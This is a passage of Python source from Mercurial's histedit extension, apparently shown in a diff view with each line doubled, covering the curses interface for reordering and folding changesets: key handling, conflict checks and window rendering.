1124 def __bytes__(self):
1124 def __bytes__(self):
1125 # Example display of several histeditrules:
1125 # Example display of several histeditrules:
1126 #
1126 #
1127 # #10 pick 316392:06a16c25c053 add option to skip tests
1127 # #10 pick 316392:06a16c25c053 add option to skip tests
1128 # #11 ^roll 316393:71313c964cc5 <RED>oops a fixup commit</RED>
1128 # #11 ^roll 316393:71313c964cc5 <RED>oops a fixup commit</RED>
1129 # #12 pick 316394:ab31f3973b0d include mfbt for mozilla-config.h
1129 # #12 pick 316394:ab31f3973b0d include mfbt for mozilla-config.h
1130 # #13 ^fold 316395:14ce5803f4c3 fix warnings
1130 # #13 ^fold 316395:14ce5803f4c3 fix warnings
1131 #
1131 #
1132 # The carets point to the changeset being folded into ("roll this
1132 # The carets point to the changeset being folded into ("roll this
1133 # changeset into the changeset above").
1133 # changeset into the changeset above").
1134 return b'%s%s' % (self.prefix, self.desc)
1134 return b'%s%s' % (self.prefix, self.desc)
1135
1135
1136 __str__ = encoding.strmethod(__bytes__)
1136 __str__ = encoding.strmethod(__bytes__)
1137
1137
1138 @property
1138 @property
1139 def prefix(self):
1139 def prefix(self):
1140 # Some actions ('fold' and 'roll') combine a patch with a
1140 # Some actions ('fold' and 'roll') combine a patch with a
1141 # previous one. Add a marker showing which patch they apply
1141 # previous one. Add a marker showing which patch they apply
1142 # to.
1142 # to.
1143 action = ACTION_LABELS.get(self.action, self.action)
1143 action = ACTION_LABELS.get(self.action, self.action)
1144
1144
1145 h = self.ctx.hex()[0:12]
1145 h = self.ctx.hex()[0:12]
1146 r = self.ctx.rev()
1146 r = self.ctx.rev()
1147
1147
1148 return b"#%s %s %d:%s " % (
1148 return b"#%s %s %d:%s " % (
1149 (b'%d' % self.origpos).ljust(2),
1149 (b'%d' % self.origpos).ljust(2),
1150 action.ljust(6),
1150 action.ljust(6),
1151 r,
1151 r,
1152 h,
1152 h,
1153 )
1153 )
1154
1154
1155 @property
1155 @property
1156 def desc(self):
1156 def desc(self):
1157 summary = (
1157 summary = (
1158 cmdutil.rendertemplate(
1158 cmdutil.rendertemplate(
1159 self.ctx, self.ui.config(b'histedit', b'summary-template')
1159 self.ctx, self.ui.config(b'histedit', b'summary-template')
1160 )
1160 )
1161 or b''
1161 or b''
1162 )
1162 )
1163 if summary:
1163 if summary:
1164 return summary
1164 return summary
1165 # This is split off from the prefix property so that we can
1165 # This is split off from the prefix property so that we can
1166 # separately make the description for 'roll' red (since it
1166 # separately make the description for 'roll' red (since it
1167 # will get discarded).
1167 # will get discarded).
1168 return self.ctx.description().splitlines()[0].strip()
1168 return self.ctx.description().splitlines()[0].strip()
1169
1169
1170 def checkconflicts(self, other):
1170 def checkconflicts(self, other):
1171 if other.pos > self.pos and other.origpos <= self.origpos:
1171 if other.pos > self.pos and other.origpos <= self.origpos:
1172 if set(other.ctx.files()) & set(self.ctx.files()) != set():
1172 if set(other.ctx.files()) & set(self.ctx.files()) != set():
1173 self.conflicts.append(other)
1173 self.conflicts.append(other)
1174 return self.conflicts
1174 return self.conflicts
1175
1175
1176 if other in self.conflicts:
1176 if other in self.conflicts:
1177 self.conflicts.remove(other)
1177 self.conflicts.remove(other)
1178 return self.conflicts
1178 return self.conflicts
1179
1179
1180
1180
1181 # ============ EVENTS ===============
1181 # ============ EVENTS ===============
1182 def movecursor(state, oldpos, newpos):
1182 def movecursor(state, oldpos, newpos):
1183 '''Change the rule/changeset that the cursor is pointing to, regardless of
1183 '''Change the rule/changeset that the cursor is pointing to, regardless of
1184 current mode (you can switch between patches from the view patch window).'''
1184 current mode (you can switch between patches from the view patch window).'''
1185 state[b'pos'] = newpos
1185 state[b'pos'] = newpos
1186
1186
1187 mode, _ = state[b'mode']
1187 mode, _ = state[b'mode']
1188 if mode == MODE_RULES:
1188 if mode == MODE_RULES:
1189 # Scroll through the list by updating the view for MODE_RULES, so that
1189 # Scroll through the list by updating the view for MODE_RULES, so that
1190 # even if we are not currently viewing the rules, switching back will
1190 # even if we are not currently viewing the rules, switching back will
1191 # result in the cursor's rule being visible.
1191 # result in the cursor's rule being visible.
1192 modestate = state[b'modes'][MODE_RULES]
1192 modestate = state[b'modes'][MODE_RULES]
1193 if newpos < modestate[b'line_offset']:
1193 if newpos < modestate[b'line_offset']:
1194 modestate[b'line_offset'] = newpos
1194 modestate[b'line_offset'] = newpos
1195 elif newpos > modestate[b'line_offset'] + state[b'page_height'] - 1:
1195 elif newpos > modestate[b'line_offset'] + state[b'page_height'] - 1:
1196 modestate[b'line_offset'] = newpos - state[b'page_height'] + 1
1196 modestate[b'line_offset'] = newpos - state[b'page_height'] + 1
1197
1197
1198 # Reset the patch view region to the top of the new patch.
1198 # Reset the patch view region to the top of the new patch.
1199 state[b'modes'][MODE_PATCH][b'line_offset'] = 0
1199 state[b'modes'][MODE_PATCH][b'line_offset'] = 0
1200
1200
1201
1201
1202 def changemode(state, mode):
1202 def changemode(state, mode):
1203 curmode, _ = state[b'mode']
1203 curmode, _ = state[b'mode']
1204 state[b'mode'] = (mode, curmode)
1204 state[b'mode'] = (mode, curmode)
1205 if mode == MODE_PATCH:
1205 if mode == MODE_PATCH:
1206 state[b'modes'][MODE_PATCH][b'patchcontents'] = patchcontents(state)
1206 state[b'modes'][MODE_PATCH][b'patchcontents'] = patchcontents(state)
1207
1207
1208
1208
1209 def makeselection(state, pos):
1209 def makeselection(state, pos):
1210 state[b'selected'] = pos
1210 state[b'selected'] = pos
1211
1211
1212
1212
1213 def swap(state, oldpos, newpos):
1213 def swap(state, oldpos, newpos):
1214 """Swap two positions and calculate necessary conflicts in
1214 """Swap two positions and calculate necessary conflicts in
1215 O(|newpos-oldpos|) time"""
1215 O(|newpos-oldpos|) time"""
1216
1216
1217 rules = state[b'rules']
1217 rules = state[b'rules']
1218 assert 0 <= oldpos < len(rules) and 0 <= newpos < len(rules)
1218 assert 0 <= oldpos < len(rules) and 0 <= newpos < len(rules)
1219
1219
1220 rules[oldpos], rules[newpos] = rules[newpos], rules[oldpos]
1220 rules[oldpos], rules[newpos] = rules[newpos], rules[oldpos]
1221
1221
1222 # TODO: swap should not know about histeditrule's internals
1222 # TODO: swap should not know about histeditrule's internals
1223 rules[newpos].pos = newpos
1223 rules[newpos].pos = newpos
1224 rules[oldpos].pos = oldpos
1224 rules[oldpos].pos = oldpos
1225
1225
1226 start = min(oldpos, newpos)
1226 start = min(oldpos, newpos)
1227 end = max(oldpos, newpos)
1227 end = max(oldpos, newpos)
1228 for r in pycompat.xrange(start, end + 1):
1228 for r in pycompat.xrange(start, end + 1):
1229 rules[newpos].checkconflicts(rules[r])
1229 rules[newpos].checkconflicts(rules[r])
1230 rules[oldpos].checkconflicts(rules[r])
1230 rules[oldpos].checkconflicts(rules[r])
1231
1231
1232 if state[b'selected']:
1232 if state[b'selected']:
1233 makeselection(state, newpos)
1233 makeselection(state, newpos)
1234
1234
1235
1235
1236 def changeaction(state, pos, action):
1236 def changeaction(state, pos, action):
1237 """Change the action state on the given position to the new action"""
1237 """Change the action state on the given position to the new action"""
1238 rules = state[b'rules']
1238 rules = state[b'rules']
1239 assert 0 <= pos < len(rules)
1239 assert 0 <= pos < len(rules)
1240 rules[pos].action = action
1240 rules[pos].action = action
1241
1241
1242
1242
1243 def cycleaction(state, pos, next=False):
1243 def cycleaction(state, pos, next=False):
1244 """Changes the action state the next or the previous action from
1244 """Changes the action state the next or the previous action from
1245 the action list"""
1245 the action list"""
1246 rules = state[b'rules']
1246 rules = state[b'rules']
1247 assert 0 <= pos < len(rules)
1247 assert 0 <= pos < len(rules)
1248 current = rules[pos].action
1248 current = rules[pos].action
1249
1249
1250 assert current in KEY_LIST
1250 assert current in KEY_LIST
1251
1251
1252 index = KEY_LIST.index(current)
1252 index = KEY_LIST.index(current)
1253 if next:
1253 if next:
1254 index += 1
1254 index += 1
1255 else:
1255 else:
1256 index -= 1
1256 index -= 1
1257 changeaction(state, pos, KEY_LIST[index % len(KEY_LIST)])
1257 changeaction(state, pos, KEY_LIST[index % len(KEY_LIST)])
1258
1258
1259
1259
1260 def changeview(state, delta, unit):
1260 def changeview(state, delta, unit):
1261 '''Change the region of whatever is being viewed (a patch or the list of
1261 '''Change the region of whatever is being viewed (a patch or the list of
1262 changesets). 'delta' is an amount (+/- 1) and 'unit' is 'page' or 'line'.'''
1262 changesets). 'delta' is an amount (+/- 1) and 'unit' is 'page' or 'line'.'''
1263 mode, _ = state[b'mode']
1263 mode, _ = state[b'mode']
1264 if mode != MODE_PATCH:
1264 if mode != MODE_PATCH:
1265 return
1265 return
1266 mode_state = state[b'modes'][mode]
1266 mode_state = state[b'modes'][mode]
1267 num_lines = len(mode_state[b'patchcontents'])
1267 num_lines = len(mode_state[b'patchcontents'])
1268 page_height = state[b'page_height']
1268 page_height = state[b'page_height']
1269 unit = page_height if unit == b'page' else 1
1269 unit = page_height if unit == b'page' else 1
1270 num_pages = 1 + (num_lines - 1) // page_height
1270 num_pages = 1 + (num_lines - 1) // page_height
1271 max_offset = (num_pages - 1) * page_height
1271 max_offset = (num_pages - 1) * page_height
1272 newline = mode_state[b'line_offset'] + delta * unit
1272 newline = mode_state[b'line_offset'] + delta * unit
1273 mode_state[b'line_offset'] = max(0, min(max_offset, newline))
1273 mode_state[b'line_offset'] = max(0, min(max_offset, newline))
1274
1274
1275
1275
1276 def event(state, ch):
1276 def event(state, ch):
1277 """Change state based on the current character input
1277 """Change state based on the current character input
1278
1278
1279 This takes the current state and based on the current character input from
1279 This takes the current state and based on the current character input from
1280 the user we change the state.
1280 the user we change the state.
1281 """
1281 """
1282 selected = state[b'selected']
1282 selected = state[b'selected']
1283 oldpos = state[b'pos']
1283 oldpos = state[b'pos']
1284 rules = state[b'rules']
1284 rules = state[b'rules']
1285
1285
1286 if ch in (curses.KEY_RESIZE, b"KEY_RESIZE"):
1286 if ch in (curses.KEY_RESIZE, b"KEY_RESIZE"):
1287 return E_RESIZE
1287 return E_RESIZE
1288
1288
1289 lookup_ch = ch
1289 lookup_ch = ch
1290 if ch is not None and b'0' <= ch <= b'9':
1290 if ch is not None and b'0' <= ch <= b'9':
1291 lookup_ch = b'0'
1291 lookup_ch = b'0'
1292
1292
1293 curmode, prevmode = state[b'mode']
1293 curmode, prevmode = state[b'mode']
1294 action = KEYTABLE[curmode].get(
1294 action = KEYTABLE[curmode].get(
1295 lookup_ch, KEYTABLE[b'global'].get(lookup_ch)
1295 lookup_ch, KEYTABLE[b'global'].get(lookup_ch)
1296 )
1296 )
1297 if action is None:
1297 if action is None:
1298 return
1298 return
1299 if action in (b'down', b'move-down'):
1299 if action in (b'down', b'move-down'):
1300 newpos = min(oldpos + 1, len(rules) - 1)
1300 newpos = min(oldpos + 1, len(rules) - 1)
1301 movecursor(state, oldpos, newpos)
1301 movecursor(state, oldpos, newpos)
1302 if selected is not None or action == b'move-down':
1302 if selected is not None or action == b'move-down':
1303 swap(state, oldpos, newpos)
1303 swap(state, oldpos, newpos)
1304 elif action in (b'up', b'move-up'):
1304 elif action in (b'up', b'move-up'):
1305 newpos = max(0, oldpos - 1)
1305 newpos = max(0, oldpos - 1)
1306 movecursor(state, oldpos, newpos)
1306 movecursor(state, oldpos, newpos)
1307 if selected is not None or action == b'move-up':
1307 if selected is not None or action == b'move-up':
1308 swap(state, oldpos, newpos)
1308 swap(state, oldpos, newpos)
1309 elif action == b'next-action':
1309 elif action == b'next-action':
1310 cycleaction(state, oldpos, next=True)
1310 cycleaction(state, oldpos, next=True)
1311 elif action == b'prev-action':
1311 elif action == b'prev-action':
1312 cycleaction(state, oldpos, next=False)
1312 cycleaction(state, oldpos, next=False)
1313 elif action == b'select':
1313 elif action == b'select':
1314 selected = oldpos if selected is None else None
1314 selected = oldpos if selected is None else None
1315 makeselection(state, selected)
1315 makeselection(state, selected)
1316 elif action == b'goto' and int(ch) < len(rules) and len(rules) <= 10:
1316 elif action == b'goto' and int(ch) < len(rules) and len(rules) <= 10:
1317 newrule = next((r for r in rules if r.origpos == int(ch)))
1317 newrule = next((r for r in rules if r.origpos == int(ch)))
1318 movecursor(state, oldpos, newrule.pos)
1318 movecursor(state, oldpos, newrule.pos)
1319 if selected is not None:
1319 if selected is not None:
1320 swap(state, oldpos, newrule.pos)
1320 swap(state, oldpos, newrule.pos)
1321 elif action.startswith(b'action-'):
1321 elif action.startswith(b'action-'):
1322 changeaction(state, oldpos, action[7:])
1322 changeaction(state, oldpos, action[7:])
1323 elif action == b'showpatch':
1323 elif action == b'showpatch':
1324 changemode(state, MODE_PATCH if curmode != MODE_PATCH else prevmode)
1324 changemode(state, MODE_PATCH if curmode != MODE_PATCH else prevmode)
1325 elif action == b'help':
1325 elif action == b'help':
1326 changemode(state, MODE_HELP if curmode != MODE_HELP else prevmode)
1326 changemode(state, MODE_HELP if curmode != MODE_HELP else prevmode)
1327 elif action == b'quit':
1327 elif action == b'quit':
1328 return E_QUIT
1328 return E_QUIT
1329 elif action == b'histedit':
1329 elif action == b'histedit':
1330 return E_HISTEDIT
1330 return E_HISTEDIT
1331 elif action == b'page-down':
1331 elif action == b'page-down':
1332 return E_PAGEDOWN
1332 return E_PAGEDOWN
1333 elif action == b'page-up':
1333 elif action == b'page-up':
1334 return E_PAGEUP
1334 return E_PAGEUP
1335 elif action == b'line-down':
1335 elif action == b'line-down':
1336 return E_LINEDOWN
1336 return E_LINEDOWN
1337 elif action == b'line-up':
1337 elif action == b'line-up':
1338 return E_LINEUP
1338 return E_LINEUP
1339
1339
1340
1340
1341 def makecommands(rules):
1341 def makecommands(rules):
1342 """Returns a list of commands consumable by histedit --commands based on
1342 """Returns a list of commands consumable by histedit --commands based on
1343 our list of rules"""
1343 our list of rules"""
1344 commands = []
1344 commands = []
1345 for rules in rules:
1345 for rules in rules:
1346 commands.append(b'%s %s\n' % (rules.action, rules.ctx))
1346 commands.append(b'%s %s\n' % (rules.action, rules.ctx))
1347 return commands
1347 return commands
1348
1348
1349
1349
1350 def addln(win, y, x, line, color=None):
1350 def addln(win, y, x, line, color=None):
1351 """Add a line to the given window left padding but 100% filled with
1351 """Add a line to the given window left padding but 100% filled with
1352 whitespace characters, so that the color appears on the whole line"""
1352 whitespace characters, so that the color appears on the whole line"""
1353 maxy, maxx = win.getmaxyx()
1353 maxy, maxx = win.getmaxyx()
1354 length = maxx - 1 - x
1354 length = maxx - 1 - x
1355 line = bytes(line).ljust(length)[:length]
1355 line = bytes(line).ljust(length)[:length]
1356 if y < 0:
1356 if y < 0:
1357 y = maxy + y
1357 y = maxy + y
1358 if x < 0:
1358 if x < 0:
1359 x = maxx + x
1359 x = maxx + x
1360 if color:
1360 if color:
1361 win.addstr(y, x, line, color)
1361 win.addstr(y, x, line, color)
1362 else:
1362 else:
1363 win.addstr(y, x, line)
1363 win.addstr(y, x, line)
1364
1364
1365
1365
1366 def _trunc_head(line, n):
1366 def _trunc_head(line, n):
1367 if len(line) <= n:
1367 if len(line) <= n:
1368 return line
1368 return line
1369 return b'> ' + line[-(n - 2) :]
1369 return b'> ' + line[-(n - 2) :]
1370
1370
1371
1371
1372 def _trunc_tail(line, n):
1372 def _trunc_tail(line, n):
1373 if len(line) <= n:
1373 if len(line) <= n:
1374 return line
1374 return line
1375 return line[: n - 2] + b' >'
1375 return line[: n - 2] + b' >'
1376
1376
1377
1377
1378 def patchcontents(state):
1378 def patchcontents(state):
1379 repo = state[b'repo']
1379 repo = state[b'repo']
1380 rule = state[b'rules'][state[b'pos']]
1380 rule = state[b'rules'][state[b'pos']]
1381 displayer = logcmdutil.changesetdisplayer(
1381 displayer = logcmdutil.changesetdisplayer(
1382 repo.ui, repo, {b"patch": True, b"template": b"status"}, buffered=True
1382 repo.ui, repo, {b"patch": True, b"template": b"status"}, buffered=True
1383 )
1383 )
1384 overrides = {(b'ui', b'verbose'): True}
1384 overrides = {(b'ui', b'verbose'): True}
1385 with repo.ui.configoverride(overrides, source=b'histedit'):
1385 with repo.ui.configoverride(overrides, source=b'histedit'):
1386 displayer.show(rule.ctx)
1386 displayer.show(rule.ctx)
1387 displayer.close()
1387 displayer.close()
1388 return displayer.hunk[rule.ctx.rev()].splitlines()
1388 return displayer.hunk[rule.ctx.rev()].splitlines()
1389
1389
1390
1390
1391 def _chisteditmain(repo, rules, stdscr):
1391 def _chisteditmain(repo, rules, stdscr):
1392 try:
1392 try:
1393 curses.use_default_colors()
1393 curses.use_default_colors()
1394 except curses.error:
1394 except curses.error:
1395 pass
1395 pass
1396
1396
1397 # initialize color pattern
1397 # initialize color pattern
1398 curses.init_pair(COLOR_HELP, curses.COLOR_WHITE, curses.COLOR_BLUE)
1398 curses.init_pair(COLOR_HELP, curses.COLOR_WHITE, curses.COLOR_BLUE)
1399 curses.init_pair(COLOR_SELECTED, curses.COLOR_BLACK, curses.COLOR_WHITE)
1399 curses.init_pair(COLOR_SELECTED, curses.COLOR_BLACK, curses.COLOR_WHITE)
1400 curses.init_pair(COLOR_WARN, curses.COLOR_BLACK, curses.COLOR_YELLOW)
1400 curses.init_pair(COLOR_WARN, curses.COLOR_BLACK, curses.COLOR_YELLOW)
1401 curses.init_pair(COLOR_OK, curses.COLOR_BLACK, curses.COLOR_GREEN)
1401 curses.init_pair(COLOR_OK, curses.COLOR_BLACK, curses.COLOR_GREEN)
1402 curses.init_pair(COLOR_CURRENT, curses.COLOR_WHITE, curses.COLOR_MAGENTA)
1402 curses.init_pair(COLOR_CURRENT, curses.COLOR_WHITE, curses.COLOR_MAGENTA)
1403 curses.init_pair(COLOR_DIFF_ADD_LINE, curses.COLOR_GREEN, -1)
1403 curses.init_pair(COLOR_DIFF_ADD_LINE, curses.COLOR_GREEN, -1)
1404 curses.init_pair(COLOR_DIFF_DEL_LINE, curses.COLOR_RED, -1)
1404 curses.init_pair(COLOR_DIFF_DEL_LINE, curses.COLOR_RED, -1)
1405 curses.init_pair(COLOR_DIFF_OFFSET, curses.COLOR_MAGENTA, -1)
1405 curses.init_pair(COLOR_DIFF_OFFSET, curses.COLOR_MAGENTA, -1)
1406 curses.init_pair(COLOR_ROLL, curses.COLOR_RED, -1)
1406 curses.init_pair(COLOR_ROLL, curses.COLOR_RED, -1)
1407 curses.init_pair(
1407 curses.init_pair(
1408 COLOR_ROLL_CURRENT, curses.COLOR_BLACK, curses.COLOR_MAGENTA
1408 COLOR_ROLL_CURRENT, curses.COLOR_BLACK, curses.COLOR_MAGENTA
1409 )
1409 )
1410 curses.init_pair(COLOR_ROLL_SELECTED, curses.COLOR_RED, curses.COLOR_WHITE)
1410 curses.init_pair(COLOR_ROLL_SELECTED, curses.COLOR_RED, curses.COLOR_WHITE)
1411
1411
1412 # don't display the cursor
1412 # don't display the cursor
1413 try:
1413 try:
1414 curses.curs_set(0)
1414 curses.curs_set(0)
1415 except curses.error:
1415 except curses.error:
1416 pass
1416 pass
1417
1417
1418 def rendercommit(win, state):
1418 def rendercommit(win, state):
1419 """Renders the commit window that shows the log of the current selected
1419 """Renders the commit window that shows the log of the current selected
1420 commit"""
1420 commit"""
1421 pos = state[b'pos']
1421 pos = state[b'pos']
1422 rules = state[b'rules']
1422 rules = state[b'rules']
1423 rule = rules[pos]
1423 rule = rules[pos]
1424
1424
1425 ctx = rule.ctx
1425 ctx = rule.ctx
1426 win.box()
1426 win.box()
1427
1427
1428 maxy, maxx = win.getmaxyx()
1428 maxy, maxx = win.getmaxyx()
1429 length = maxx - 3
1429 length = maxx - 3
1430
1430
1431 line = b"changeset: %d:%s" % (ctx.rev(), ctx.hex()[:12])
1431 line = b"changeset: %d:%s" % (ctx.rev(), ctx.hex()[:12])
1432 win.addstr(1, 1, line[:length])
1432 win.addstr(1, 1, line[:length])
1433
1433
1434 line = b"user: %s" % ctx.user()
1434 line = b"user: %s" % ctx.user()
1435 win.addstr(2, 1, line[:length])
1435 win.addstr(2, 1, line[:length])
1436
1436
1437 bms = repo.nodebookmarks(ctx.node())
1437 bms = repo.nodebookmarks(ctx.node())
1438 line = b"bookmark: %s" % b' '.join(bms)
1438 line = b"bookmark: %s" % b' '.join(bms)
1439 win.addstr(3, 1, line[:length])
1439 win.addstr(3, 1, line[:length])
1440
1440
1441 line = b"summary: %s" % (ctx.description().splitlines()[0])
1441 line = b"summary: %s" % (ctx.description().splitlines()[0])
1442 win.addstr(4, 1, line[:length])
1442 win.addstr(4, 1, line[:length])
1443
1443
1444 line = b"files: "
1444 line = b"files: "
1445 win.addstr(5, 1, line)
1445 win.addstr(5, 1, line)
1446 fnx = 1 + len(line)
1446 fnx = 1 + len(line)
1447 fnmaxx = length - fnx + 1
1447 fnmaxx = length - fnx + 1
1448 y = 5
1448 y = 5
1449 fnmaxn = maxy - (1 + y) - 1
1449 fnmaxn = maxy - (1 + y) - 1
1450 files = ctx.files()
1450 files = ctx.files()
1451 for i, line1 in enumerate(files):
1451 for i, line1 in enumerate(files):
1452 if len(files) > fnmaxn and i == fnmaxn - 1:
1452 if len(files) > fnmaxn and i == fnmaxn - 1:
1453 win.addstr(y, fnx, _trunc_tail(b','.join(files[i:]), fnmaxx))
1453 win.addstr(y, fnx, _trunc_tail(b','.join(files[i:]), fnmaxx))
1454 y = y + 1
1454 y = y + 1
1455 break
1455 break
1456 win.addstr(y, fnx, _trunc_head(line1, fnmaxx))
1456 win.addstr(y, fnx, _trunc_head(line1, fnmaxx))
1457 y = y + 1
1457 y = y + 1
1458
1458
1459 conflicts = rule.conflicts
1459 conflicts = rule.conflicts
1460 if len(conflicts) > 0:
1460 if len(conflicts) > 0:
1461 conflictstr = b','.join(map(lambda r: r.ctx.hex()[:12], conflicts))
1461 conflictstr = b','.join(map(lambda r: r.ctx.hex()[:12], conflicts))
1462 conflictstr = b"changed files overlap with %s" % conflictstr
1462 conflictstr = b"changed files overlap with %s" % conflictstr
1463 else:
1463 else:
1464 conflictstr = b'no overlap'
1464 conflictstr = b'no overlap'
1465
1465
1466 win.addstr(y, 1, conflictstr[:length])
1466 win.addstr(y, 1, conflictstr[:length])
1467 win.noutrefresh()
1467 win.noutrefresh()
1468
1468
1469 def helplines(mode):
1469 def helplines(mode):
1470 if mode == MODE_PATCH:
1470 if mode == MODE_PATCH:
1471 help = b"""\
1471 help = b"""\
1472 ?: help, k/up: line up, j/down: line down, v: stop viewing patch
1472 ?: help, k/up: line up, j/down: line down, v: stop viewing patch
1473 pgup: prev page, space/pgdn: next page, c: commit, q: abort
1473 pgup: prev page, space/pgdn: next page, c: commit, q: abort
1474 """
1474 """
1475 else:
1475 else:
1476 help = b"""\
1476 help = b"""\
1477 ?: help, k/up: move up, j/down: move down, space: select, v: view patch
1477 ?: help, k/up: move up, j/down: move down, space: select, v: view patch
1478 d: drop, e: edit, f: fold, m: mess, p: pick, r: roll
1478 d: drop, e: edit, f: fold, m: mess, p: pick, r: roll
1479 pgup/K: move patch up, pgdn/J: move patch down, c: commit, q: abort
1479 pgup/K: move patch up, pgdn/J: move patch down, c: commit, q: abort
1480 """
1480 """
1481 return help.splitlines()
1481 return help.splitlines()
1482
1482
1483 def renderhelp(win, state):
1483 def renderhelp(win, state):
1484 maxy, maxx = win.getmaxyx()
1484 maxy, maxx = win.getmaxyx()
1485 mode, _ = state[b'mode']
1485 mode, _ = state[b'mode']
1486 for y, line in enumerate(helplines(mode)):
1486 for y, line in enumerate(helplines(mode)):
1487 if y >= maxy:
1487 if y >= maxy:
1488 break
1488 break
1489 addln(win, y, 0, line, curses.color_pair(COLOR_HELP))
1489 addln(win, y, 0, line, curses.color_pair(COLOR_HELP))
1490 win.noutrefresh()
1490 win.noutrefresh()
1491
1491
1492 def renderrules(rulesscr, state):
1492 def renderrules(rulesscr, state):
1493 rules = state[b'rules']
1493 rules = state[b'rules']
1494 pos = state[b'pos']
1494 pos = state[b'pos']
1495 selected = state[b'selected']
1495 selected = state[b'selected']
1496 start = state[b'modes'][MODE_RULES][b'line_offset']
1496 start = state[b'modes'][MODE_RULES][b'line_offset']
1497
1497
1498 conflicts = [r.ctx for r in rules if r.conflicts]
1498 conflicts = [r.ctx for r in rules if r.conflicts]
1499 if len(conflicts) > 0:
1499 if len(conflicts) > 0:
1500 line = b"potential conflict in %s" % b','.join(
1500 line = b"potential conflict in %s" % b','.join(
1501 map(pycompat.bytestr, conflicts)
1501 map(pycompat.bytestr, conflicts)
1502 )
1502 )
1503 addln(rulesscr, -1, 0, line, curses.color_pair(COLOR_WARN))
1503 addln(rulesscr, -1, 0, line, curses.color_pair(COLOR_WARN))
1504
1504
1505 for y, rule in enumerate(rules[start:]):
1505 for y, rule in enumerate(rules[start:]):
1506 if y >= state[b'page_height']:
1506 if y >= state[b'page_height']:
1507 break
1507 break
1508 if len(rule.conflicts) > 0:
1508 if len(rule.conflicts) > 0:
1509 rulesscr.addstr(y, 0, b" ", curses.color_pair(COLOR_WARN))
1509 rulesscr.addstr(y, 0, b" ", curses.color_pair(COLOR_WARN))
1510 else:
1510 else:
1511 rulesscr.addstr(y, 0, b" ", curses.COLOR_BLACK)
1511 rulesscr.addstr(y, 0, b" ", curses.COLOR_BLACK)
1512
1512
1513 if y + start == selected:
1513 if y + start == selected:
1514 rollcolor = COLOR_ROLL_SELECTED
1514 rollcolor = COLOR_ROLL_SELECTED
1515 addln(rulesscr, y, 2, rule, curses.color_pair(COLOR_SELECTED))
1515 addln(rulesscr, y, 2, rule, curses.color_pair(COLOR_SELECTED))
1516 elif y + start == pos:
1516 elif y + start == pos:
1517 rollcolor = COLOR_ROLL_CURRENT
1517 rollcolor = COLOR_ROLL_CURRENT
1518 addln(
1518 addln(
1519 rulesscr,
1519 rulesscr,
1520 y,
1520 y,
1521 2,
1521 2,
1522 rule,
1522 rule,
1523 curses.color_pair(COLOR_CURRENT) | curses.A_BOLD,
1523 curses.color_pair(COLOR_CURRENT) | curses.A_BOLD,
1524 )
1524 )
1525 else:
1525 else:
1526 rollcolor = COLOR_ROLL
1526 rollcolor = COLOR_ROLL
1527 addln(rulesscr, y, 2, rule)
1527 addln(rulesscr, y, 2, rule)
1528
1528
1529 if rule.action == b'roll':
1529 if rule.action == b'roll':
1530 rulesscr.addstr(
1530 rulesscr.addstr(
1531 y,
1531 y,
1532 2 + len(rule.prefix),
1532 2 + len(rule.prefix),
1533 rule.desc,
1533 rule.desc,
1534 curses.color_pair(rollcolor),
1534 curses.color_pair(rollcolor),
1535 )
1535 )
1536
1536
1537 rulesscr.noutrefresh()
1537 rulesscr.noutrefresh()
1538
1538
1539 def renderstring(win, state, output, diffcolors=False):
1539 def renderstring(win, state, output, diffcolors=False):
1540 maxy, maxx = win.getmaxyx()
1540 maxy, maxx = win.getmaxyx()
1541 length = min(maxy - 1, len(output))
1541 length = min(maxy - 1, len(output))
1542 for y in range(0, length):
1542 for y in range(0, length):
1543 line = output[y]
1543 line = output[y]
1544 if diffcolors:
1544 if diffcolors:
1545 if line and line[0] == b'+':
1545 if line and line[0] == b'+':
1546 win.addstr(
1546 win.addstr(
1547 y, 0, line, curses.color_pair(COLOR_DIFF_ADD_LINE)
1547 y, 0, line, curses.color_pair(COLOR_DIFF_ADD_LINE)
1548 )
1548 )
1549 elif line and line[0] == b'-':
1549 elif line and line[0] == b'-':
1550 win.addstr(
1550 win.addstr(
1551 y, 0, line, curses.color_pair(COLOR_DIFF_DEL_LINE)
1551 y, 0, line, curses.color_pair(COLOR_DIFF_DEL_LINE)
1552 )
1552 )
1553 elif line.startswith(b'@@ '):
1553 elif line.startswith(b'@@ '):
1554 win.addstr(y, 0, line, curses.color_pair(COLOR_DIFF_OFFSET))
1554 win.addstr(y, 0, line, curses.color_pair(COLOR_DIFF_OFFSET))
1555 else:
1555 else:
1556 win.addstr(y, 0, line)
1556 win.addstr(y, 0, line)
1557 else:
1557 else:
1558 win.addstr(y, 0, line)
1558 win.addstr(y, 0, line)
1559 win.noutrefresh()
1559 win.noutrefresh()
1560
1560
1561 def renderpatch(win, state):
1561 def renderpatch(win, state):
1562 start = state[b'modes'][MODE_PATCH][b'line_offset']
1562 start = state[b'modes'][MODE_PATCH][b'line_offset']
1563 content = state[b'modes'][MODE_PATCH][b'patchcontents']
1563 content = state[b'modes'][MODE_PATCH][b'patchcontents']
1564 renderstring(win, state, content[start:], diffcolors=True)
1564 renderstring(win, state, content[start:], diffcolors=True)
1565
1565
1566 def layout(mode):
1566 def layout(mode):
1567 maxy, maxx = stdscr.getmaxyx()
1567 maxy, maxx = stdscr.getmaxyx()
1568 helplen = len(helplines(mode))
1568 helplen = len(helplines(mode))
1569 return {
1569 return {
1570 b'commit': (12, maxx),
1570 b'commit': (12, maxx),
1571 b'help': (helplen, maxx),
1571 b'help': (helplen, maxx),
1572 b'main': (maxy - helplen - 12, maxx),
1572 b'main': (maxy - helplen - 12, maxx),
1573 }
1573 }
1574
1574
1575 def drawvertwin(size, y, x):
1575 def drawvertwin(size, y, x):
1576 win = curses.newwin(size[0], size[1], y, x)
1576 win = curses.newwin(size[0], size[1], y, x)
1577 y += size[0]
1577 y += size[0]
1578 return win, y, x
1578 return win, y, x
1579
1579
1580 state = {
1580 state = {
1581 b'pos': 0,
1581 b'pos': 0,
1582 b'rules': rules,
1582 b'rules': rules,
1583 b'selected': None,
1583 b'selected': None,
1584 b'mode': (MODE_INIT, MODE_INIT),
1584 b'mode': (MODE_INIT, MODE_INIT),
1585 b'page_height': None,
1585 b'page_height': None,
1586 b'modes': {
1586 b'modes': {
1587 MODE_RULES: {b'line_offset': 0,},
1587 MODE_RULES: {b'line_offset': 0,},
1588 MODE_PATCH: {b'line_offset': 0,},
1588 MODE_PATCH: {b'line_offset': 0,},
1589 },
1589 },
1590 b'repo': repo,
1590 b'repo': repo,
1591 }
1591 }
1592
1592
1593 # eventloop
1593 # eventloop
1594 ch = None
1594 ch = None
1595 stdscr.clear()
1595 stdscr.clear()
1596 stdscr.refresh()
